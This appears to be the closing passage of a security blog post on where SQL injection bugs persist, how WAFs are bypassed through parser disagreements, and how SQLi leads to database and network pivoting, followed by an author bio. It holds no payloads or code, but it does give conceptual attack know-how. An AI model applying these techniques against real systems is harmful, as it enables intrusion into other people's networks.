The interesting SQLi bugs aren’t in the obviously exposed parameters anymore. Parameterized queries and ORMs have cleaned up the easy ones. What’s left tends to be in odd places — second-order vectors through profile fields, raw-SQL escape hatches buried in admin features, JSON or GraphQL paths where the dev assumed the framework would handle escaping but it didn’t.

A WAF in front of all that doesn’t mean much. The interesting WAF bypasses aren’t payload tricks; they’re parser-disagreement bugs — chunked transfer encoding, parameter pollution, Unicode normalization. Find the place where the WAF and the application don’t read the same request, and you don’t need any cleverness in the SQL itself.

The other thing the case study above illustrates: SQLi isn’t usually the destination. It’s the cheapest way to reach a misconfigured database account, and from there into the rest of the network. The clean fix is parameterized queries plus least-privilege database users. Most environments only do the first half.


References
#

UncleSp1d3r
Author
UncleSp1d3r
As a computer security professional, I’m passionate about building secure systems and exploring new technologies to enhance threat detection and response capabilities. My experience with Rails development has enabled me to create efficient and scalable web applications. At the same time, my passion for learning Rust has allowed me to develop more secure and high-performance software. I’m also interested in Nim and love creating custom security tools.